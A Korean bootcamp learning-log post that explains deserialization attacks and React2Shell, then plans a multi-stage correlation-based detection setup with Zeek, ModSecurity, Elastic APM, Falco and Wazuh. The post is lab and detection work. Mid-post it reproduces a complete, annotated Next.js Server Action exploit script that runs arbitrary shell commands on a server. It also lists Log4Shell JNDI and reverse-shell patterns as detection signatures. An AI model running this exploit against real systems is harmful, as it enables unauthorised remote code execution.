[토스뱅크 부트캠프] 팀프로젝트 Interrupt 1주차

목차

- 주제 소개

- 역직렬화란?

- React2Shell 이란?

- React2Shell 공격 구현

- React2Shell의 상관분석

- 마치며

 

 

안녕하세요 

오랜만에 마음먹고 다시 쓰는 TIL (TIL 14주차)이네요. 우선 저희 프로젝트에 대해서 먼저 소개를 하고 현재 어떻게 진행되고 있는지 상세히 설명해보려고 합니다. 사이버보안에 관심 있는 분들, 그리고 혹시라도 내년에 토스뱅크 부트캠프를 하시는 분들께 도움이 되었으면 좋겠습니다..☆

 

먼저 저는 Interrupt 조가 되어서 현재 총 4명의 다른 팀원분들과 열심히 프로젝트를 시작하였습니다. (보통 4~6명으로 팀은 구성되었고 총 4개의 주제 중에서 각자 원하고 공부해보고 싶은 주제를 선택해서 가는 방향으로 진행하였습니다.)

 

주제 소개

그래서 저 4가지 주제가 무엇이냐...!

1. 모의해킹을 통한 웹사이트 및 모바일앱 보안 취약점 분석 및 대응

2. 오픈 소스 웹서비스 취약점 분석 및 보안 대응

3. 네트워크 포렌식 환경 구축 및 분석

4. MITRE ATT&CK 기반 침해사고 분석 및 대응

 

이렇게 보면 뭔가 멋져보이기도 하고...뭔소리인지 모를 수도 있는데 사실 저도 잘 모릅니다! ㅎㅎ 보안 분야가 아니신 분들까지도 한번쯤은 들어봤을거라고 생각하는데요 토스뱅크는 보안 직무에서 레드팀/블루팀으로 나뉘어져 있습니다. (요즘 보안사고가 많긴 한데 많은 기업들이 아직 레드팀은 잘 구성되지 않은 걸로 알고 있습니다.) 그래서 1,2 번이 레드팀(공격팀) 그리고 3,4번이 블루팀(방어팀)이라고 이해하시면 됩니다.

 

저는 사실 주제 선정부터 좀 고민을 많이 해봤는데요.. 뭔가 다른 프로젝트를 진행하면서 전문적인 멘토님들께 조언을 받기 어려운 레드팀을 하고 싶은 생각도 있었지만 너무 모르는 분야이기도 하고 앞으로 다른 프로젝트 또는 연구로 이어나갈 것을 생각했을 때

4. MITRE ATT&CK 기반 침해사고 분석 및 대응 를 하기로 선택하였습니다.

(사실 저희는 4번 선택한 사람이 많아서 4-1조, 4-2조로 나뉘어서 조금 다른 방향으로(?) 프로젝트를 진행하게 되었습니다.)

이게 뭔가 싶으실수도 있는데 그냥 잘 정리된 표(?) 느낌이예요

사실 공식적인 프로젝트 기간은 12월 15일 부터였는데요, 저희는 그 전부터 꽤나 많은 이야기를 나누면서 프로젝트의 방향성에 대해서 멘토님들, 강사님, 그리고 팀원들과 의논해보았습니다. (사실 엎어진 것도 많아요..ㅜ)

 

하지만 지금 프로젝트를 시작한지 일주일이 지난 지금, 조금의 방향성이 뚜렷해진 것 같아서 정리해볼 수 있을 것 같습니다. 

 

일단 저희조 목표를 한줄로..? 정리하자면..

역직렬화 CVE를 활용한 공격을 상관분석을 통해 행위기반 탐지 모델을 구현을 통한 역직렬화 공격의 공통점(?)

 

처음 들으면 어려울 수 있는데 전혀 아닙니다. (전혀는 아니고.. 생각보다..정도..?)

역직렬화란?

React2shell관련 뉴스

직렬화-역직렬화라는 단어를 들어봤다면 아마 최근 핫한 보안 이슈인 React2Shell에서 들어보셨을 것입니다. 내 컴퓨터에서 다른 서버나 클라이언트로 데이터를 보내기 위해서는 직렬화 과정이 필요합니다. 현재의 객체를 저장하거나 전송하기 위해서는 데이터 포멧으로 변환해서 전송해야하기 때문입니다. (우리가 생각하는 데이터는 사실 메모리에 존재하는데 이 메모리에 존재하면 컴퓨터를 끄거나 전송할 때 사라지거나 전송자체가 막힙니다!)

그래서 컴퓨터 두 대가 데이터를 주고 받을 때 처음에 데이터를 주면서 데이터를 직렬화 해서 주고, 받는 컴퓨터는 이를 역직렬화해서 다시 메모리에 올릴 수 있는 형태로 만들어 줍니다. 약간 암복호화 같죠..?

직렬화와 역직렬화

 

그렇다면 이 역직렬화에서 취약점이 발생하는 이유는 뭘까요? 일단 제가 공부했을때는^^ 해커들은 이 역직렬화은 자동으로 실행된다는 것과 이때 자동으로 싱행되는 코드를 공격자가 원하는대로 조정할 수 있다는 점을 이용하기 때문입니다. 조금 이론적인 설명이 될 것 같은데 딱 두가지 단어(?)를 알면 좋을 것 같습니다.

 

첫번째는  Magic Method 입니다.

- 프로그래밍 언어는 객체를 역직렬화할 때 개발자가 별도로 호출하지 않아도 알아서 실행되는 특수한 함수들을 가지고 있습니다. 쉽게 말하면 뭐 역직렬화를 해야 이 컴퓨터에서 다른컴퓨터로부터 받은 데이터를 일단 메모리에 올려서 뭔지 보고 하니까 자동적으로 실행되는 함수가 몇개 있습니다. 해커는 여기에 악성코드를 심어버립니다. 

두번째는 Gadget Chain입니다.

- 이것도 뭐 어려운 개념은 아닌데 아까 말한 Magic Method는 약간 해커가 접근하는 입구의 개념입니다. 그렇다면 해커는 결정적으로는 이 victim 컴퓨터에서 뭔가를 실행시키고 싶은 거잖아요?(뭐 파일을 출력해서 나한테 전송한다던지, 특정 웹을 연다든지) 그럼 결국 victim 컴퓨터에서 약간 위험한 함수를 실행시키고 싶은거라고 이해할 수 있습니다. (명령실행함수와 같은 함수들을 최종목표로 잡고 노리는 거죠) 근데 해커가 Magic Method라는 입구로부터 출발해서 가장 위험한 함수(이걸 Gadget이라고 합니다.)로 접근하기까지 또 여러 함수들이 이어져 있을 겁니다. 그게 마치 chain 형태로요. 그래서 해커가 Gadget으로 가는 체인처럼 이어진 길을 Gadget chain이라고 합니다.

 

역직렬화의 자동 실행 함수가 Magic Method가 되고 Gadget Chain을 통해서 공격이 이루어진거라고 이해하면 될 것 같습니다. 

 

그러면 저희는 수많은 CVE 중에서 왜 역직렬화 공격으로 선정을 한것일까요?

제일 핫이슈였다는 점도 있고 커널에서 볼 수 없는 점도 있고 가장 결정적인 이유는 앞으로 역직렬화 공격은 더욱 더 많아질 것 같기 때문이였습니다. (사실 보고서에는 뭐 금융권 표적 ~ 트렌드 ~ 탐지고도화 ~ 이런식으로 작성하긴 했지만..ㅎㅎ같은 말이죠 뭐)

 

React2Shell이란?

아직 프로젝트 초기 단계긴 하지만 일단 구축/테스트 과정에서 저는 node.js 언어의 React2Shell을 담당하고 있습니다. 위에서 설명했던 역직렬화 공격 중 하나입니다.

React2shell 공격 과정

일단 이 부분에 대해서는 저희조는 '언어'별로 파트를 나누어서 진행하였습니다. java, php, node.js 중에 저는 node.js를 맡게 되어서 React2Shell을 하게 되었습니다. 

 

아아 그래서 React2Shell은 무엇이냐..하면 웹 라이브러리인 React를 이용해 서버의 권한을(sh) 탈취하는 보안 취약점 입니다. 2021년도의 log4shell만큼 위험하다면서 막 CVSS 점수도 10.0점 만점을 기록한 아주 무시무시한 친구입니다. React2Shell의 원리는 간단히 정리하겠습니다.

1. 데이터 전송: 리액트 서버는 클라이언트와 통신할 때 'Flight'라는 특수한 프로토콜을 사용해 데이터를 직렬화해서 보냅니다.
2. 검증 누락: 공격자가 특수하게 조작된 악성 데이터(Payload)를 서버에 보냅니다.
3. 코드 실행: 서버가 이 데이터를 다시 객체로 만드는 역직렬화(Deserialization) 과정에서, 데이터가 실제 실행 가능한 코드로 해석되어 버립니다.
4. 결과: 공격자는 로그인 권한 없이도 서버에서 임의의 명령어를 실행(RCE)하고, 최종적으로 서버의 쉘(sh)을 획득하게 됩니다

 

원리는 위와 같은 원리로 진행됩니다. 저도 처음 들어보는 개념이 중간에 있었는데요.. 바로 클라이언트 사이드 렌더링이랑 서버 사이드 렌더링 (SSR) 이라는게 있습니다. React2Shell은 SSR 방식으로 진행이 됩니다. 한번에 이해하기는 조금 어려운데 HTML과 데이터를 미리 만들어서 클라이언트에게 보내준다고 생각하면 됩니다. 이 때 보통 JSON 방식으로 주는데 이 JSON파일에 악성코드를 심는 것 입니다. (이때는 보통 _next_data_부분이나 API 요청 데이터 같은 것을 조작합니다.)

 

그렇습니다...이게 끝이예요. 간단하죠? 

 

그래서 일단 저는 React2Shell을 담당한다~로 이해해주시면 됩니다!! 그럼 CVE가 정해졌으면 뭘 해야할까요? 실제로 한번 공격 시뮬레이션을 해야겠죠~?

 

React2Shell 공격 구현 

이렇게 제목을 짓는게 맞나..너무 막나가나..쨋든 저는 강의실 pc의 vmware환경에서 Ubuntu와 Kali 두개를 올렸습니다. 그리고 React2Shell은 Docker 환경으로 올렸습니다.

 

제가 참고한 PoC 코드에 대한 GIT 주소는 다음과 같습니다.  https://github.com/kdh379/react2shell-poc

GitHub - kdh379/react2shell-poc

 

이 단계에서 간단히 설명하자면 일단 공격을 하고 공격당한 애로부터 로그를 수집할 예정이잖아요? 여기서 kali로 공격을 보내면 victim인 우분투에 깔아둔 node.js를 falco를 통해 로그를 수집하는 것입니다. (다른 구성들은..나중에 이야기 하는게..나을 것 같아요.. 너무 복잡해..ㅜ)

 

칼리를 보내면 falco에 빨간색 에러가 출력된다~(가장 기초 그냥 연결되었는지 실험)

음...사실 제가 이 이후 간단한 룰도 설정해둬서 저렇게 critical 한 빨간색이 몇개 나오는데..그냥 이런 흐름이구나만 알면 될 것 같습니다.

 

노션에는 각 과정의 코드랑 결과를 상세히 적어뒀지만 TIL에서는 제외하도록 하겠습니다.

 

- 진행 중 오류 발생 상황

: 사실 이 과정에서는 딱히 막히는 부분은 많지 않았습니다. (저는..거의 한줄 칠 때마다 에러 하나 뜨는 인간이거등여..)

 

중간에 falco의 ebpf 방식을 적용했다는 점과 제 우분투 서버가 8.8.8.8로 설정이 안되어 있어서 좀 많이 헤멨던 것 같습니다. (정말 왜 자동설정이 안되어있었지..?)

 

이후 저는 뭐 다른 팀원들과 연결하기 위해 (뭐 방화벽이나 Wazuh과정에서) 추가로 Bridge을 해주었습니다.

 

React2Shell의 상관분석

이렇게 기본 구성은 마쳤을 때 아까 상관분석으로 대응을 하겠다 했는데 그러면 React2Shell을 어떻게 분석해야하는걸까 라는 생각이 들었습니다. 그래서 저는 일단 저 git hub에 올라온 PoC 코드부터 분석하자고 생각 되었습니다. 링크는 바로 남겨두겠습니다. 

https://github.com/kdh379/react2shell-poc

GitHub - kdh379/react2shell-poc

 

스마일이 귀엽더라구요

기본적으로 Next.js는 웹사이트를 만들 때 클라이언트 뿐만 아니라 서버에서도 코드를 실행하게 합니다. 그리고 Server Action이 사용자가 뭔 버튼을 누르면 브라우저가 서버에 있는 특 함수를 직접 실행해달라고 요청하는 기능입니다. 이 Server Action의 과정에서 클라이언트가 데이터를 보내고 직렬화 하면, 서버는 받은 데이터를 역직렬화하게 됩니다.  

#!/usr/bin/env node

import FormData from 'form-data';
import fetch from 'node-fetch';

let BASE_URL = 'http://localhost:3000';
let EXECUTABLE = "echo 'poc' > /tmp/test.txt";

// 스크립트 뒤에 문자열 있으면 해당 문자열을 shell 명령으로 실행
if (process.argv.length === 3) {
  EXECUTABLE = process.argv[2];
} else if (process.argv.length >= 4) {
  BASE_URL = process.argv[2];
  EXECUTABLE = process.argv[3];
}

//여기가 공격의 핵심인 페이로드 부분 
//즉, 이 부분이 역직렬화 되는 부분
const craftedChunk = {
	// 시스템의 근본적인 규칙을 변경
	// 이 때 서버가 특정 역직렬화를 실행하는 순간 시스템 관리자 권한을 가로챔 
  then: "$1:__proto__:then",
  status: "resolved_model",
  reason: -1,
  value: '{"then": "$B0"}',
  _response: {
	  // 상자가 열리자마자 실행될 공격 명령 
	  // 여기 존해하는 'child_process'가 서버의 운영체제에게 직접 특정 명령을 실행하라고 요구하는 코드임 
    _prefix: `var res = process.mainModule.require('child_process').execSync('${EXECUTABLE}',{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:\`$\${res}\`});`,
    // If you don't need the command output, you can use this line instead:
    // _prefix: `process.mainModule.require('child_process').execSync('${EXECUTABLE}');`,
    _formData: {
      get: "$1:constructor:constructor",
    },
  },
};

const formData = new FormData();
formData.append('0', JSON.stringify(craftedChunk));
formData.append('1', '"$@0"');

// 이 헤더가 있으면 next.js는 Server Action 요청으로 인식하여 서버에서 실행함
const headers = {
  'Next-Action': 'x', 
  ...formData.getHeaders(),
};

fetch(BASE_URL, {
  method: 'POST',
  headers: headers,
  body: formData,
  timeout: 10000,
})
  .then(async (res) => {
    console.log(res.status);
    const text = await res.text();
    console.log(text);
  })
  .catch((err) => {
    console.error('Error:', err.message);
    process.exit(1);
  });

 

그러다면 상관분석이라는 것은 무엇일까요? 

보안에서 상관분석이라는 것은 단순히 A가 B랑 닮아서 A도 B와 같은 공격 아닐까 를 넘어서 여러 흩어진 로그를 연결해서 하나의 공격 시나리오를 완성하는 과정 입니다.

 

취약점이 터졌을 때, 단순히 공격이 들어왔다는 알람이 아닌 어디에서 이 흔적이 남고 (예들ㄹ 들어 WAF단계) 그리고 이 뒤에 이게 실행되고 (부모-자식 프로세스에서 sh가 실행되었다던지) 그리고 이게 사후행위로 뭘 한게 파악된다(파일을 다른곳으로  전송함) 와 같은 흐름을 보고 이 로그를 남긴 이게 공격인지 아닌지를 판단하는 것입니다. 

 

저는 이 상관분석을 React2Shell에서 어떻게 해야할까라는 생각을 해보았습니다. 이게 정해져야 어떤 단계에서 어떤 로그들을 분석 추출해야하는지 뭘 분석해야하는지 알 수 있기 때문입니다.

그래서 제가 생각한 프로세스는 다음 표와 같습니다.

 

단계	Target Log	Key	Context	Value
1. Packet	Zeek (conn, ssl), Arkime	5-Tuple (Src/Dst IP, Port, Proto)	Log4Shell: 외부 LDAP(389)/RMI(1099) 아웃바운드 연결 탐지 Common: 공격 도구 특유의 JA4 지문 식별	[네트워크 가시성] 서버가 외부 공격자 서버로 비정상적인 연결을 시도하는지 확인하여 침해 시작점 포착.
2. WAF	ModSecurity	5-Tuple + Trace-ID	Log4Shell: ${jndi:ldap://...} 패턴 Tomcat: JSESSIONID 내 ../ 경로 조작 Better Search: O:S:"..." PHP 객체 주입 React2Shell: RSC(React Server Component) 악성 페이로드 .	[공격 의도 확정] HTTP 요청 단계에서 어떤 취약점을 노린 페이로드가 유입되었는지 기술적으로 분류.
3. Trigger	Elastic APM	Trace-ID + PID	Log4Shell: log4j-core 내 lookup() 호출 Tomcat: FileStore.load() (세션 역직렬화) Better Search: unserialize() 호출 React2Shell: 서버 액션 내 JSON.parse 및 객체 복원	[코드 실행 검증] WAF가 탐지한 페이로드가 실제 애플리케이션의 취약한 로직을 트리거했는지 증명.
4. Execution	Falco	PID + PPID (부모-자식)	Java(Log4j/Tomcat): java 프로세스가 sh, nc 실행 PHP: php-fpm이 sh를 통해 리버스 쉘 생성 Node: node 프로세스의 비정상적인 자식 프로세스 생성	[최종 침해 증명] 각 언어의 인터프리터/런타임 프로세스가 자식 프로세스(sh, cmd)를 생성하는 순간 포착.
5. Response	Wazuh (SIEM / XDR)	Timeline (All Keys)	공용: 위 4개 단계 로그의 인과관계를 타임라인으로 병합하여 가시화	[최종 침해 증명] 역직렬화의 결과로 실제 OS 명령어가 실행되었음을 커널 수준에서 확정.

저는 5단계에 맞게 총 5가지를 수집해야한다고 생각했습니다. 이에 대해 조금 상세히 설명해보겠습니다. (제가 구성한거라서.. 부족한 부분이 있을 것 같은데...걱정이 됩니다...ㅜ)

 

1단계 : Packet 

- Zeek의 conn.log와 ssl.log, 그리고 Arkime으로 받은 실제 PCAP 데이터

• Zeek는 기본적으로 패킷으 그대로 저장하지 않고 네트워크 행위를 구조화된 로그로 기록하는 도구 입니다. 여기서 conn.log는 네트워크 통신의 중심로그 같은 것입니다. 누가, 누구에게, 어떤 방식으로 얼마나 통신했는가가 기록됩니다. 구체적으로 말하면 id.orig_h로 출발지 ip를, id.resp_h로 목적지 ip를 id.resp_p로 목적지 포트 등을 알 수 있습니다. 즉, conn.log는 이 연결이 실제로 네트워크 단에서 있었는가를 증명하는 역할입니다. ssl.log는 HTTP/TLS 연결에서 누구와 통신했는지를 볼 수 있습니다. 즉, ssl.log는 암호화가 되어있어도 어디와 통신했는지 알 수 있습니다.  
• Arkime은 패킷을 PCAP 형태로 그대로 저장하고 다시 재생할 수 있는 도구 입니다. 

 

여기서 좀 중요하게 봐야하는 부분은 5-Tuple 부분 입니다. 아까 Zeek의 conn.log 부분입니다. (Source IP, Source Port, Destination IP, Destination Port, Protocol) 이렇게 다섯 가지가 나중에 단 하나의 네트워크를 가리키게 되는 연결 지표가 됩니다. 이후 진행되는 5단계의 모든 로그가 이 하나의 conn.log 부분으로 묶이게 됩니다.

 

그리고 ssl.log 부분에서는 TLS를 보게 되는데요 여기서 '지문'이라는 단어가 나옵니다. TLS 지문이라는 것은 TLS 핸드세이크의 습관이라고 이해하면 됩니다. 브라우저, curl, python, walwar은 각각 사용하는 TLS 옵션 순서가 다르다고 합니다!!(사실 저도 처음 알았어요..) 그래서 하나의 공격을 위한 공격 도구는 고유한 지문을 가집니다. 

• JA3 지문은 TLS 버전, Cipher Suites 목록 등을 문자열로 정리해서 MD5 해시값으로 정리합니다.
• JA4 지문은 TCP 특성, TLS 버전과 암호군 요약, 서버 응답 특성과 같은 내용이 정리되어 있습니다. 

그래서 공격이 들어오면 그 공격에 대한 지문들을 '블랙리스트'와 비교하면 됩니다. TLS 지문 블랙리스트는IP 차단 목록이 아니라 실제 악성코드/C2/침해사고에서 수집된 JA3/JA4 해시들의 집합이고 오픈소스를 통해서 확인 가능합니다. 

https://github.com/salesforce/ja3

GitHub - salesforce/ja3: JA3 is a standard for creating SSL client fingerprints in an easy to produce and shareable way.

https://abuse.ch/

abuse.ch | Fighting malware and botnets

(전 두개의 예시를 올려두지만 Github 찾아보면 꽤나 많은 것 같습니다. 현업에서는 CrowdStrike, Palo Alto Networks, Microsoft 등을 활용한다고 합니다. 사실 현재 프로젝트로는 "직접 만드는" 내부 블랙리스트를 따로 만들어서 사용할 가능성이 제일 높을 것 같습니다. )

 

그래서 이 블랙리스트와 비교하여 일치하면 이 통신은 알려진 공격 도구의 특성을 가진다고 고려하고 이후 Endpoint로그-프로세스 실행-파일 생성 으로 이어지는 전체 로그를 보면 됩니다. 

 

 

2단계 : WAF

- Modsecurity의 audit.log 추출로 웹 계층에서 필터링 과정으로 여기서 봐야할 부분은 Trace-ID와 Payload 패턴입니다. 

• Trace-ID (X-Request_ID) : HTTP 헤더에 삽입된 고유 ID
• Payload 패턴 : 역직렬화 공격의 경우, Base64로 인코딩된 객체 문자열을 확인

그럼 WAF에서 수집한 이 두가지는 뭐와 비교를 해야 상관분석이 되는걸까요? 먼저 첫번째는 방금 1단계의 5-Tuple과 WAF 로그의 IP/Port를 매칭해야하비다. 이로써 방금 Zeek에서 잡힌 수상한 TLS 지문을 가진 세션이 WAF에서 RCE 패턴을 보냈다는 것을 확인할 수 있습니다. 

 

사실 지금 시점에서는 이 1,2 단계가 아직 구현이 덜 된 상태입니다.

 

3단계 : Trigger

- Elastick APM을 활용해서 애플리케이션 내부 동작을 로그로 출력할 수 있습니다. 여기서 볼 부분은 Stack Trace와 Context ID 입니다.

• Stack Trace : 역직렬화 함수 (이 부분은 각 언어마다 달라지는데 React2Shell의 경우, JSON.parse 함수입니다.) 를 호출 여부
• Context ID : WAF에서 넘어온 Trace-ID를 그대로 물고 들어갑니다.

이 두개를 가지고 일단 Stack Trace 부분에서 역직렬화 함수를 호출하였는지 확인하고, Trace-ID 매칭을 통해서 WAF로그의 ID와 APM의 ID가 일치하는지 확인해야합니다. 이로써 밖에서 들어온 악성 페이로드가 실제로 내부 코드의 위험한 함수까지 도달했다는 것을 증명 가능합니다. 

 

이 부분을 구현하기 위해 먼저 Elastic APM Agent를 각 PC 에 설치하고 미리 구현해둔 Ubuntu의 node.js 와 연결해주었습니다.

 

4단계 : Execution

- 이 단계에서는 falco를 이용해서 부모-자식 프로세스 중에 생긴 오류를 출력합니다. 

여기서 부모-자식 프로세스는 Reverse Shell이나 RCE 공격을 탐지하는데 중요한 부분입니다. 먼저 일반적인 서비스 환경에서 node는 자바스크립트 코드를 실행하고 DB와 통신하는 역할을 합니다. 만약 공격자가 CVE를 통해 시스템 권한을 획득하려고 할 때, 서버 내부에서 쉘을 띄워 원격지로 연결을 시도할 것 입니다. 쉽게 말하면 CVE를 통해 뚫고 지나가서 victim의 터미널에 들어가서 무언가를 할 텐데 그럴려면 victim의 터미널에서 어떠한 명령어를치기 위해 쉘이 필요한 것입니다.

• syscall.execve : 새로운 프로세스가 실행되는 시점의 시스템 콜 출력
• proc.pname vs pronc.name : 부모프로세스 이름(pname)과 자식 프로세스 이름(name)의 관계를 확인
• proc.cmdline : 실행된 명령어의 전체 argument를 확인하여 공격자가 수행한 구체적인 행위(리버스쉘 연결, 파일 다운로드 등)을 분석

먼저 로그에서 위 3가지를 확인하고 상관분석때는 APM에서 비정상적인 함수를 호출했던 PID와 Falco에서 잡은 proc.pid가 동일한지 증명합니다. 그리고 쉘이 실행된 이후 만약 외부로 나가는 연결이 있다면 zeek의 5-tuple 포트 번호와도 대조합니다.

 

5단계 : Response & Correlation

앞선 4단계를 통해 파편화된 4개 단계의 로그를 하나의 타임라인으로 병합하여 가시화하고 확정된 위협에 대해 자동화된 대응을 수행합니다.

 

Wazuh Manager를 통해 확인할 부분은

timestamp : 각 단계 로그의 발생 시간을 기준으로 공격의 흐름을 재구성

rule level : wazuh의 규칙 엔진을 통해 로그의 심각도 분류

active response log : 침해 확정시 실행된 자동 대응 결과 기록

 

사실 이 부분은 아직 wazuh를 어떻게 잘 활용해야할지 구성이 덜 되었기 때문에 추후에 좀 더 고민해볼 예정입니다.

 

 

---

마치며

이번주는 이렇게 주제 고도화 및 확정 과정 + 상관분석을 어떻게 할것인지..정리를 해보았습니다.

아마 추후에는 제가 설정한 기본 인프라 구성 부분(zeek, arkime, APM, React2shell 구축) 정리와 본격적으로 react2shell 공격 시나리오와 서버 분석, 그리고 그에 따른 룰설정으로 쭉 이어질 것 같습니다.

 

흠 일단 제가 부족한 탓도 있겠지만 뭔가..아직까지도 아주 전체적인 흐름이 머릿속에 박혀있는 수준은 안된 것 같다는 생각이 듭니다. 다 처음해보는 것들이라서 뭔가 하면서 직접 눈으로 보면서 알아가고 흐름을 이해하고 싶은 마음 반, 전체 프로세스를 아주 상세히 정하고 가고 싶은 마음 반입니다. 뭐가 맞을지는.. 잘 모르겠지만 저 사이의 수준(?)으로 진행되지 않을까 싶습니다. 

 

이번주에 뭐 크게 있었는 트러블 슈팅은 아직 진행중인 내용이긴 한데 상관분석에 대해서 확정을 못한 부분입니다. 저도 저의 선생님 gemini랑 열심히 얘기해서 정한거긴 한데 할 일도 많고 해서 각 팀원들이 하나를 같이 고민하기보다는 서로의 역할을 정해서 의견을 구하는 수준이라 각자 상관분석을 어떻게 할지 각자 조사해보고 토의할 시간이 없었습니다. 그래서 어쩌다가 제가 정한 것 기준으로 가게 될 것 같은데 틀린 방향일까봐 좀 두려운 마음이 큽니다. 하지만 실제로 프로젝트를 진행해본다면 더 자세히 알 수 있지 않을까 싶습니다. 다음주에는 빨리 많은거를 좀 만져보고 실행시켜보고 분석하고 저 스스로도 좀 흐름이 많이 잡히길 빕니다.